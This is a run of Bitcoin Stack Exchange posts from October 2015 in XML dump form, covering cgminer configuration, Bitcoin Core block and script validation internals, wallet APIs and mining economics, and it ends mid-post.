  <row Id="41009" PostTypeId="1" CreationDate="2015-10-24T08:43:45.727" Score="0" ViewCount="1003" Body="&lt;p&gt;I have recently switched my mining from 4.6.1 to 4.9.2 with the same Antminer U3. Still wondering about correct settings for this new one. On 4.6.1 I have used --bsmc-options and other settings as --bsmc. On 4.9.2 syntax is different from it - it's --au3. But 4.9.2 do not understand commans --au3-options: 115200-0,65 and some others where bsmc became au3. WHat I do wrong? My stats drops down to the half of it was on 4.6.1, show very little number HW errors and stales/dups. Could someone give me the tips of correct .bat and .conf for 4.9.2/U3 os XP?&lt;/p&gt;&#xA;" OwnerUserId="30103" LastActivityDate="2016-07-16T08:22:44.950" Title="correct settings for cgminer 4.9.2" Tags="|cgminer|antminer|u3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41010" PostTypeId="1" CreationDate="2015-10-24T10:03:02.607" Score="1" ViewCount="97" Body="&lt;p&gt;I have a walletnotify configured with bitcoind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I start bitcoind this scipt is being called which in turn does bitcoind requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the startup phase, bitcoind calls the walletnotify script too early, before is is actually ready to process regular RPC API requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In response to the request, bitcoind delivers  HTTP/1.1 500 Internal Server Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind version: bitcoin-0.11.0 linux-32&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help appreciated, or someone does a fix in bitcoind engine?&lt;/p&gt;&#xA;" OwnerUserId="27130" LastEditorUserId="2306" LastEditDate="2015-10-24T17:01:21.713" LastActivityDate="2015-10-24T17:01:21.713" Title="bitcoind calls walletnotify before it's ready to process API calls" Tags="|bitcoind|json-rpc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41011" PostTypeId="2" ParentId="40898" CreationDate="2015-10-24T10:08:54.960" Score="-1" Body="&lt;p&gt;A bitcoind restart helps. The memory consumption grows over time, after a restart it will start growing again but you have some weeks of operation to go. memory growth rate depends on what is going on the bitcoin network. &lt;/p&gt;&#xA;" OwnerUserId="27130" LastActivityDate="2015-10-24T10:08:54.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41012" PostTypeId="1" CreationDate="2015-10-24T12:50:38.567" Score="4" ViewCount="297" Body="&lt;p&gt;Once the Bitcoin node receives a message with a new block, it calls the &lt;code&gt;ProcessNewBlock&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; else if (strCommand == &quot;block&quot; &amp;amp;&amp;amp; !fImporting &amp;amp;&amp;amp; !fReindex) // Ignore blocks received while importing&#xA;{&#xA;    CBlock block;&#xA;    vRecv &amp;gt;&amp;gt; block;&#xA;&#xA;    CInv inv(MSG_BLOCK, block.GetHash());&#xA;    LogPrint(&quot;net&quot;, &quot;received block %s peer=%d\n&quot;, inv.hash.ToString(), pfrom-&amp;gt;id);&#xA;&#xA;    pfrom-&amp;gt;AddInventoryKnown(inv);&#xA;&#xA;    CValidationState state;&#xA;    // Process all blocks from whitelisted peers, even if not requested,&#xA;    // unless we're still syncing with the network.&#xA;    // Such an unrequested block may still be processed, subject to the&#xA;    // conditions in AcceptBlock().&#xA;    bool forceProcessing = pfrom-&amp;gt;fWhitelisted &amp;amp;&amp;amp; !IsInitialBlockDownload();&#xA;    ProcessNewBlock(state, pfrom, &amp;amp;block, forceProcessing, NULL);&#xA;    int nDoS;&#xA;    if (state.IsInvalid(nDoS)) {&#xA;        assert (state.GetRejectCode() &amp;lt; REJECT_INTERNAL); // Blocks are never rejected with internal reject codes&#xA;        pfrom-&amp;gt;PushMessage(&quot;reject&quot;, strCommand, state.GetRejectCode(),&#xA;                           state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), inv.hash);&#xA;        if (nDoS &amp;gt; 0) {&#xA;            LOCK(cs_main);&#xA;            Misbehaving(pfrom-&amp;gt;GetId(), nDoS);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside this function, &lt;code&gt;CheckBlock&lt;/code&gt; and &lt;code&gt;AcceptBlock&lt;/code&gt; are called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Preliminary checks&#xA;bool checked = CheckBlock(*pblock, state);&#xA;&#xA;{&#xA;    LOCK(cs_main);&#xA;    bool fRequested = MarkBlockAsReceived(pblock-&amp;gt;GetHash());&#xA;    fRequested |= fForceProcessing;&#xA;    if (!checked) {&#xA;        return error(&quot;%s: CheckBlock FAILED&quot;, __func__);&#xA;    }&#xA;&#xA;    // Store to disk&#xA;    CBlockIndex *pindex = NULL;&#xA;    bool ret = AcceptBlock(*pblock, state, &amp;amp;pindex, fRequested, dbp);&#xA;    if (pindex &amp;amp;&amp;amp; pfrom) {&#xA;        mapBlockSource[pindex-&amp;gt;GetBlockHash()] = pfrom-&amp;gt;GetId();&#xA;    }&#xA;    CheckBlockIndex();&#xA;    if (!ret)&#xA;        return error(&quot;%s: AcceptBlock FAILED&quot;, __func__);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the &lt;code&gt;AcceptBlock&lt;/code&gt; function &lt;code&gt;CheckBlock&lt;/code&gt; is called again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((!CheckBlock(block, state)) || !ContextualCheckBlock(block, state, pindex-&amp;gt;pprev)) {&#xA;    if (state.IsInvalid() &amp;amp;&amp;amp; !state.CorruptionPossible()) {&#xA;        pindex-&amp;gt;nStatus |= BLOCK_FAILED_VALID;&#xA;        setDirtyBlockIndex.insert(pindex);&#xA;    }&#xA;    return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is the &lt;code&gt;CheckBlock&lt;/code&gt; function called two times when processing a new block?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="23340" LastEditDate="2015-11-17T19:14:17.700" LastActivityDate="2015-11-19T16:34:25.660" Title="Why is CheckBlock called twice when processing a new block?" Tags="|block|bitcoin-core-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41013" PostTypeId="1" AcceptedAnswerId="41037" CreationDate="2015-10-24T14:13:06.113" Score="2" ViewCount="990" Body="&lt;p&gt;Where can I check the output logs generated from &lt;code&gt;LogPrint()&lt;/code&gt; statements in the &lt;code&gt;bitcoind&lt;/code&gt; source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Please do not confuse this with the &lt;code&gt;LogPrintf()&lt;/code&gt; statement, which logs the output into &lt;code&gt;debug.log&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="29691" LastActivityDate="2015-10-26T08:22:37.717" Title="LogPrint() output location?" Tags="|bitcoind|logging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41014" PostTypeId="1" CreationDate="2015-10-24T17:22:10.733" Score="3" ViewCount="91" Body="&lt;p&gt;I am very new to using Bitcoin.  I have never actually used it yet.  My goal is to send a payment of $100 to a trustworthy individual in China.  I was given some sort of address by this individual when I asked how/where to send payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for me to simply go to a physical agent location near my address to make this payment, then have the agent send my payment to the recipient (similar to how western union and money gram work)?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very intimidated by how this all works.  I would love to simply do this on my own computer, but even creating a credible &quot;wallet&quot; has been confusing for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any comments or help are greatly appreciated!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="30111" LastEditorUserId="575" LastEditDate="2015-10-24T17:38:11.403" LastActivityDate="2015-10-24T17:38:11.403" Title="Is there a Bitcoin service that works like Western Union?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41015" PostTypeId="2" ParentId="41014" CreationDate="2015-10-24T17:37:32.880" Score="1" Body="&lt;p&gt;I don't think you'll easily find a service of the kind you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But using Bitcoin directly shouldn't be too difficult. You can install a wallet on your computer such as &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/&lt;/a&gt;. Then you can buy some bitcoins (the best way will depend on your location), and send them to the recipient.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-10-24T17:37:32.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41016" PostTypeId="1" AcceptedAnswerId="41017" CreationDate="2015-10-24T17:40:09.293" Score="3" ViewCount="257" Body="&lt;p&gt;Today I was reading bitcoind src, and trying to find out where scriptPubKey is executed when a node received new block with transaction, for example transaction from new block may not be exist in mempool.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find function that execute script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/search?utf8=%E2%9C%93&amp;amp;q=EvalScript&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/search?utf8=%E2%9C%93&amp;amp;q=EvalScript&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;src/script/interpreter.cpp&lt;/strong&gt;   in this file source code of EvalScript function&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Used only in this 2 files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;src/policy/policy.cpp&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;src/script/sign.cpp&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Review &lt;strong&gt;sign.cpp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Evalscript -&gt; CombineSignatures -&gt; &lt;strong&gt;/src/bitcoin-tx.cpp&lt;/strong&gt;: MutateTxSign -&gt; MutateTx -&gt; CommandLineRawTx -&gt; main  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This functions used when we create new transactions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Review   &lt;strong&gt;policy.cpp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Evalscript -&gt; AreInputsStandard -&gt; &lt;strong&gt;/src/main.cpp: AcceptToMemoryPool&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AcceptToMemoryPool&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;src/main.cpp&lt;/strong&gt;   later&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;src/wallet/wallet.cpp&lt;/strong&gt;   -&gt; CommitTransaction    -  this is create own transaction functional &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;src/rpcrawtransaction.cpp&lt;/strong&gt; -&gt; sendrawtrnsaction - rpc function send rawtx&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;src/txmempool.cpp&lt;/strong&gt;  -&gt; no calls only comments&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Last one is  &lt;strong&gt;src/main.cpp&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AcceptToMemoryPool -&gt; ProcessMessage  on message  &quot;tx&quot; , new single tx to pool received&#xA;  AcceptToMemoryPool -&gt; DisconnectTip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DisconnectTip -&gt; InvalidateBlock&lt;/strong&gt;    invaludate block and send all transaction back to pool with all verifications and script eval&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;DisconnectTip -&gt; ActivateBestChainStep&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // Disconnect active blocks which are no longer in the best chain.&#xA;bool fBlocksDisconnected = false;&#xA;while (chainActive.Tip() &amp;amp;&amp;amp; chainActive.Tip() != pindexFork) {&#xA;    if (!DisconnectTip(state))&#xA;        return false;&#xA;    fBlocksDisconnected = true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we have orphan take out transactions from orphan to pool with all verifications&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NO more other links found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this I can conclude that in case node with bitcoind received new block &#xA;with transactions that not in mempool we add this tx to blockchain without scriptPubKey executing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consequently if same &quot;honest&quot; miner include tx with invalid script, at example incorrect signature that spent same one coins, all bitcoind nodes add it to blockchain without eval script and not detect this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not possible to be true!  Where is my error?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="18196" LastEditDate="2016-03-06T19:11:07.050" LastActivityDate="2016-03-06T19:11:07.050" Title="Is the scriptPubKey of a previously unseen transaction in an incoming block checked? If so, where?" Tags="|attack|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41017" PostTypeId="2" ParentId="41016" CreationDate="2015-10-24T18:07:23.820" Score="6" Body="&lt;p&gt;The behaviour of the mempool or orphan tx pool should not influence the validity of blocks at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a block comes in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;main.cpp:&lt;strong&gt;ProcessMessage&lt;/strong&gt; deals with processing messages, and dispatches to:&lt;/li&gt;&#xA;&lt;li&gt;main.cpp:&lt;strong&gt;ProcessNewBlock&lt;/strong&gt; deals with specifically processing block messages, which stores it on disk using AcceptBlock and then calls:&lt;/li&gt;&#xA;&lt;li&gt;main.cpp:&lt;strong&gt;ActivateBestChain&lt;/strong&gt; tries to verify the potentially new best chain and switch to it. For every atomic &quot;reorganization&quot; step, it calls:&lt;/li&gt;&#xA;&lt;li&gt;main.cpp:&lt;strong&gt;ActivatebestChainStep&lt;/strong&gt; which will try to verify new blocks to be added to the tip of the chain using:&lt;/li&gt;&#xA;&lt;li&gt;main.cpp:&lt;strong&gt;ConnectTip&lt;/strong&gt; which does the actual processing using:&lt;/li&gt;&#xA;&lt;li&gt;main.cpp:&lt;strong&gt;ConnectBlock&lt;/strong&gt;, which will iterate through the block's transactions and verify their inputs using:&lt;/li&gt;&#xA;&lt;li&gt;main.cpp:&lt;strong&gt;CheckInputs&lt;/strong&gt; which builds up a list of CScriptCheck objects for each script execution to be performed, which are verified from another thread. ConnectBlock waits for these threads to finish and deal with the result. In those threads, we call:&lt;/li&gt;&#xA;&lt;li&gt;main.cpp:&lt;strong&gt;CScriptCheck::operator()&lt;/strong&gt; which performs a single encapsulated script execution, using:&lt;/li&gt;&#xA;&lt;li&gt;script/interpreter.cpp:&lt;strong&gt;VerifyScript&lt;/strong&gt; to do a verification of script, which consists of executing a scriptPubKey + its spending scriptSig using:&lt;/li&gt;&#xA;&lt;li&gt;script/interpreter.cpp:&lt;strong&gt;EvalScript&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, EvalScript() should be executed for all scriptPubKeys which are spent by a block, before that blocks ends up being accepted as a tip.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-10-24T18:07:23.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41019" PostTypeId="1" AcceptedAnswerId="49714" CreationDate="2015-10-24T21:52:22.827" Score="3" ViewCount="1035" Body="&lt;p&gt;In my Java application I am now required to handle multiple bitcoin wallets (HD wallets?). This means sending and receiving BTC. Unfortunately bitcoin is quite new for me, so there are some questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible to use BitcoinJ in order to do this? Is it performing well with hundrets of wallets (or more)? If not, what would be the alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the workflow:&#xA;Of course the private key will stay on the user side and thus cannot be read by the application itself. Would it still be possible to raise events like &quot;money received&quot; without having the private key of the wallet?&lt;/p&gt;&#xA;" OwnerUserId="30116" LastEditorUserId="423" LastEditDate="2017-03-12T13:46:36.143" LastActivityDate="2017-03-12T13:46:36.143" Title="Bitcoinj: Multiple wallets" Tags="|wallet|bitcoinj|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41020" PostTypeId="1" CreationDate="2015-10-24T22:39:39.380" Score="1" ViewCount="52" Body="&lt;p&gt;On testnet I sent a &lt;a href=&quot;https://tbtc.blockr.io/tx/info/0ce8fcb677432004c2da94efc7b4526ef0cdcccbbb37b0019a53fc1e2e7f39b7&quot; rel=&quot;nofollow&quot;&gt;transaction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this was for TBTC1.000 and a 0.0001 fee: i.e. inputs - outputs = 0.0001. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to claim the transaction I am only allowed to claim 1 - 0.001. If I claim (what I expect to be) the full amount (TBTC1.000) I receive an err #26.&#xA;If I claim TBTC0.9999 everything works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume I'm doing something wrong, and would be happy to understand what that is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions&lt;/p&gt;&#xA;" OwnerUserId="30084" LastEditorUserId="30084" LastEditDate="2015-10-26T01:03:46.840" LastActivityDate="2015-10-26T01:03:46.840" Title="Am I paying Double fees?" Tags="|transaction-fees|testnet|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41021" PostTypeId="2" ParentId="24617" CreationDate="2015-10-24T22:41:50.107" Score="1" Body="&lt;p&gt;Use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli&lt;/code&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-reference#getchaintips&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getchaintips&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-10-24T22:41:50.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41022" PostTypeId="1" AcceptedAnswerId="41023" CreationDate="2015-10-24T23:17:50.843" Score="1" ViewCount="1008" Body="&lt;p&gt;Let's imagine I am hosting an online shop. I sell five different items with a price of 1 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob buys item A and Alice buys items B. Bob is paying the bill by sending 1 BTC to my Bitcoin address. Alice decides not to pay anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here is the big question: How do I know that I have received the money from Bob and not from Alice (I don't know their wallet)? Is there some kind of optional order reference / comment field in a transaction?&lt;/p&gt;&#xA;" OwnerUserId="30116" LastEditorUserId="5292" LastEditDate="2015-10-25T04:12:28.030" LastActivityDate="2017-09-22T18:02:51.123" Title="Payment reference" Tags="|transactions|payment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41023" PostTypeId="2" ParentId="41022" CreationDate="2015-10-24T23:31:09.647" Score="2" Body="&lt;p&gt;Your best option is for the online shop to provide unique bitcoin addresses for each customer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob clicks to buy item A and then fills out a quick form with his shipping information, after completion he is prompted to send 1 BTC to bitcoin address X. Alice at the same time clicks to buy item B and fills out a form and she is prompted to send her payment to address Y.  If address X receives funds, the shop owner will know that Bob paid, and Alice did not. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-10-24T23:31:09.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41024" PostTypeId="2" ParentId="41020" CreationDate="2015-10-25T00:38:54.903" Score="2" Body="&lt;p&gt;OK - now I understand. The fee comes from the second txn. I sent 1.000 but when it's spent I need another fee.&lt;/p&gt;&#xA;" OwnerUserId="30084" LastActivityDate="2015-10-25T00:38:54.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41025" PostTypeId="1" CreationDate="2015-10-25T10:14:34.567" Score="2" ViewCount="77" Body="&lt;p&gt;I am trying to prove that this holds&#xA;&lt;a href=&quot;https://i.stack.imgur.com/AS2vc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AS2vc.png&quot; alt=&quot;[cond 1]&quot;&gt;&lt;/a&gt;  [cond 1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this paper shows that the constant should be greater than 2/5&#xA;&lt;a href=&quot;http://www.ghassankarame.com/ripple.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ghassankarame.com/ripple.pdf&lt;/a&gt;&lt;br&gt;&#xA;Section 8, page 10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please help me determine if the paper is correct, or if the 1/5 holds.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So far, I think that the counterexample does not provide us with the UNL list for all nodes, and we do need that to determine if cond. 1  holds for each pair of servers.&lt;/p&gt;&#xA;" OwnerUserId="30017" LastActivityDate="2015-10-25T10:14:34.567" Title="Ripple Consensus" Tags="|ripple|" AnswerCount="0" CommentCount="2" ClosedDate="2019-07-17T21:14:17.590" ContentLicense="CC BY-SA 3.0" />
  <row Id="41026" PostTypeId="2" ParentId="8080" CreationDate="2015-10-25T11:06:04.727" Score="2" Body="&lt;p&gt;As of October 2015, the only services that still seem to offer email notifications (for free) for transactions on an address (for which they don't need the private key) appear to be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/wallet&lt;/a&gt; with the option to add a wallet as watch-only. It doesn't seem 100% reliable (it missed a few transactions initially), but now it seems to work and gives a notification pretty much instantly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;http://blockonomics.co&lt;/a&gt; with which I had a temporary problem with validating the confirmation email, but seems to work otherwise. Notification emails arrive a bit later (maybe they wait for the transaction to be confirmed or something like that?).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13616" LastActivityDate="2015-10-25T11:06:04.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41027" PostTypeId="1" AcceptedAnswerId="41028" CreationDate="2015-10-25T13:29:01.777" Score="1" ViewCount="1151" Body="&lt;p&gt;how will i be able to get a single value out of BTC-e API.&#xA;This is the current API: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://btc-e.com/api/3/ticker/btc_usd&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/3/ticker/btc_usd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, it shows lots of information. What can i do so that i will only get&lt;br&gt;&#xA;  --&gt; &quot;last&quot;:284.323 &amp;lt;--    this number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="30128" LastActivityDate="2015-10-25T15:56:01.377" Title="How to get a single value in BTC-e API" Tags="|api|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41028" PostTypeId="2" ParentId="41027" CreationDate="2015-10-25T15:39:24.053" Score="1" Body="&lt;p&gt;Well that depends on what language you are using to parse the JSON. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output for the API is in JSON format (JavaScript Object Notation). This notation is very common in the API space and when reading raw bitcoin transactions and blockchain data. When you query address information in bitcoin core console it is in JSON format. Think of it as a set of arrays. If you have an array of &quot;Food&quot; and that array contains &quot;Fruit&quot;, &quot;JunkFood&quot;, and &quot;Snacks&quot;, and each of these arrays contain additional values within them. So if you wanted to access &quot;apple&quot; it would be under Food -&gt; Fruit -&gt; Apple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the BTC-e API JSON response it gives you the category first of &quot;btc_usd&quot; and then within that array is &quot;high&quot;, &quot;low&quot;, &quot;avg&quot;, &quot;last&quot;, etc. So in order to only select &quot;last&quot; it would be under btc_usd -&gt; last.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I typically use PHP and it's quite simple to do. &#xA;Here's a phpfiddle: &lt;a href=&quot;http://phpfiddle.org/lite/code/jsah-t4dv&quot; rel=&quot;nofollow&quot;&gt;http://phpfiddle.org/lite/code/jsah-t4dv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$url = &quot;https://btc-e.com/api/3/ticker/btc_usd&quot;;&#xA;$decode = json_decode(file_get_contents($url), true);&#xA;$price = $decode[&quot;btc_usd&quot;][&quot;last&quot;];&#xA;echo $price;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26873" LastEditorUserId="26873" LastEditDate="2015-10-25T15:56:01.377" LastActivityDate="2015-10-25T15:56:01.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41031" PostTypeId="2" ParentId="38456" CreationDate="2015-10-25T23:27:45.870" Score="0" Body="&lt;p&gt;Mining with asics, unless you have a very good deal, which usually it is not the case, you won't make any profit, the only people that makes money with asics are the ones that build them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, Q4 2015, only altcoins are profitable, using high end GPU, but forget about your tiny little processor, you need 500 to 1000 USD GPU card to do something, and work a LOT on power efficiency, power efficiency is the difference between making money or spending more money on power bill than making with altcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried everything (had several asics, several gpu's ,etc) the only thing that worked today is maxwell gpus, GTX 970 are excellent, you need at the very minimum three of those to do some money, GTX 750Ti's are more efficient, but you need three times more cards. I have 26 of those right now, 5 per rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course all that requires specialized cabling, big hyper efficient power supply, and a lot of other things, it is not easy, but it is a LOT OF FUN! So go now to the forums and read all you can :)&lt;/p&gt;&#xA;" OwnerUserId="30132" LastEditorUserId="18196" LastEditDate="2015-10-27T13:05:23.940" LastActivityDate="2015-10-27T13:05:23.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41032" PostTypeId="1" AcceptedAnswerId="41033" CreationDate="2015-10-26T00:25:50.057" Score="4" ViewCount="871" Body="&lt;p&gt;Transactions have 2 ways to get into blockchain in bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;mempool -&gt; newblock &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;newblock no in mempool&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;lets check &lt;strong&gt;AcceptToMemoryPool&lt;/strong&gt; function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L876&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L876&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CAmount nFees = nValueIn-nValueOut;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in case outs &gt; ins &lt;/p&gt;&#xA;&#xA;&lt;p&gt;nFees&amp;lt;0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (mempoolRejectFee &amp;gt; 0 &amp;amp;&amp;amp; nFees &amp;lt; mempoolRejectFee) {&#xA;        return state.DoS(0, false, REJECT_INSUFFICIENTFEE, &quot;mempool min fee not met&quot;, false, strprintf(&quot;%d &amp;lt; %d&quot;, nFees, mempoolRejectFee));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;negative nFees will be rejected all is good in this point&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ok&#xA;lets check &lt;strong&gt;Connectblock&lt;/strong&gt;  function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L1805&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/c719cefc417cc578f48b33069b764339a61054ce/src/main.cpp#L1805&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for each tx in block we do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nFees += 